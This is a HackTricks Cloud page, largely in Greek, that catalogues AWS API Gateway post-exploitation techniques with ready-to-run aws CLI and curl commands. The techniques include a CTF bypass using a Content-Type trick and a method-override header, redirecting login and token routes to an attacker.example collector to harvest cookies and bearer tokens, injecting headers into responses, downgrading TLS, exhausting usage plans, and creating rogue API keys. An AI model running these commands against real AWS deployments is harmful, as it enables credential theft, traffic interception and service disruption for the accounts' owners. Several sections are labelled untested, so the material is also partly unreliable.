AWS - API Gateway Post Exploitation
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
API Gateway
Για περισσότερες πληροφορίες δείτε:
Πρόσβαση σε μη εκτεθειμένα APIs
You can create an endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint with the service com.amazonaws.us-east-1.execute-api, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn’t exposed before.
Bypass Request body passthrough
Αυτή η τεχνική βρέθηκε στο this CTF writeup.
Όπως αναφέρεται στην AWS documentation στην ενότητα PassthroughBehavior, εξ ορισμού η τιμή WHEN_NO_MATCH, όταν ελέγχει την κεφαλίδα Content-Type του αιτήματος, θα προωθεί το αίτημα στο back end χωρίς μετασχηματισμό.
Επομένως, στο CTF το API Gateway είχε ένα integration template που εμπόδιζε την εξαγωγή του flag σε μία απάντηση όταν εστάλη αίτημα με Content-Type: application/json:
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
Ωστόσο, η αποστολή ενός request με Content-type: text/json θα παρακάμψει αυτό το φίλτρο.
Τέλος, καθώς το API Gateway επέτρεπε μόνο Get και Options, ήταν δυνατό να σταλεί ένα αυθαίρετο dynamoDB query χωρίς κανέναν περιορισμό, στέλνοντας ένα POST request με το query στο σώμα και χρησιμοποιώντας το header X-HTTP-Method-Override: GET:
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
Usage Plans DoS
Στην ενότητα Enumeration μπορείτε να δείτε πώς να αποκτήσετε το usage plan των keys. Αν έχετε το key και είναι περιορισμένο σε X χρήσεις το μήνα, μπορείτε απλά να το χρησιμοποιήσετε και να προκαλέσετε DoS.
Η API Key χρειάζεται απλά να συμπεριληφθεί μέσα σε ένα HTTP header με όνομα x-api-key.
Swap Route Integration To Exfil Traffic (HTTP APIs / apigatewayv2)
Αν μπορείτε να ενημερώσετε μια HTTP API integration, μπορείτε να repoint μια ευαίσθητη route (π.χ. /login, /token, /submit) σε ένα HTTP endpoint που ελέγχεται από τον επιτιθέμενο και σιωπηρά να συλλέξετε headers και bodies (cookies, Authorization bearer tokens, session ids, API keys, secrets που αποστέλλονται από εσωτερικές διεργασίες, κ.λπ.).
REGION="us-east-1"
API_ID="<http_api_id>"
# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
Σημειώσεις:
- Για τις HTTP APIs, οι αλλαγές συνήθως ισχύουν άμεσα (σε αντίθεση με τις REST APIs όπου συνήθως χρειάζεται να δημιουργήσετε ένα deployment).
- Το αν μπορείτε να δείξετε σε έναν αυθαίρετο URL εξαρτάται από το integration type/config· σε ορισμένες περιπτώσεις ίσως επίσης να μπορείτε να αλλάξετε το integration type όταν το patchάρετε.
apigateway:UpdateGatewayResponse, apigateway:CreateDeployment
Ένας επιτιθέμενος με τα δικαιώματα apigateway:UpdateGatewayResponse και apigateway:CreateDeployment μπορεί να τροποποιήσει ένα υπάρχον Gateway Response ώστε να περιλαμβάνει custom headers ή response templates που leak ευαίσθητες πληροφορίες ή εκτελούν κακόβουλα scripts.
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Πιθανός Αντίκτυπος: Διαρροή ευαίσθητων πληροφοριών, εκτέλεση κακόβουλων scripts, ή μη εξουσιοδοτημένη πρόσβαση σε πόρους API.
Note
Απαιτείται δοκιμή
apigateway:UpdateStage, apigateway:CreateDeployment
Ένας επιτιθέμενος με τα δικαιώματα apigateway:UpdateStage και apigateway:CreateDeployment μπορεί να τροποποιήσει ένα υπάρχον stage του API Gateway για να ανακατευθύνει την κυκλοφορία σε διαφορετικό stage ή να αλλάξει τις ρυθμίσεις caching ώστε να αποκτήσει μη εξουσιοδοτημένη πρόσβαση σε cached δεδομένα.
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Πιθανός Αντίκτυπος: Μη εξουσιοδοτημένη πρόσβαση σε προσωρινά αποθηκευμένα δεδομένα, διατάραξη ή υποκλοπή της κίνησης API.
Note
Χρειάζεται δοκιμή
apigateway:PutMethodResponse, apigateway:CreateDeployment
Ένας επιτιθέμενος με τα δικαιώματα apigateway:PutMethodResponse και apigateway:CreateDeployment μπορεί να τροποποιήσει το method response μιας υπάρχουσας API Gateway REST API μεθόδου ώστε να συμπεριλάβει προσαρμοσμένες κεφαλίδες ή response templates που leak ευαίσθητες πληροφορίες ή εκτελούν κακόβουλα scripts.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Πιθανός Αντίκτυπος: Leakage ευαίσθητων πληροφοριών, εκτέλεση κακόβουλων scripts ή μη εξουσιοδοτημένη πρόσβαση σε API resources.
Note
Απαιτείται δοκιμή
apigateway:UpdateRestApi, apigateway:CreateDeployment
Ένας επιτιθέμενος με τα δικαιώματα apigateway:UpdateRestApi και apigateway:CreateDeployment μπορεί να τροποποιήσει τις ρυθμίσεις του API Gateway REST API για να απενεργοποιήσει την καταγραφή ή να αλλάξει την ελάχιστη έκδοση TLS, ενδεχομένως εξασθενίζοντας την ασφάλεια του API.
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Πιθανός Αντίκτυπος: Εξασθένηση της ασφάλειας του API, ενδεχομένως επιτρέποντας μη εξουσιοδοτημένη πρόσβαση ή εκθέτοντας ευαίσθητες πληροφορίες.
Note
Χρειάζεται δοκιμή
apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey
Ένας επιτιθέμενος με τα δικαιώματα apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, και apigateway:CreateUsagePlanKey μπορεί να δημιουργήσει νέα API keys, να τα συσχετίσει με usage plans, και στη συνέχεια να χρησιμοποιήσει αυτά τα keys για μη εξουσιοδοτημένη πρόσβαση σε APIs.
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
Potential Impact: Μη εξουσιοδοτημένη πρόσβαση σε πόρους API, παρακάμπτοντας ελέγχους ασφαλείας.
Note
Απαιτείται δοκιμή
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

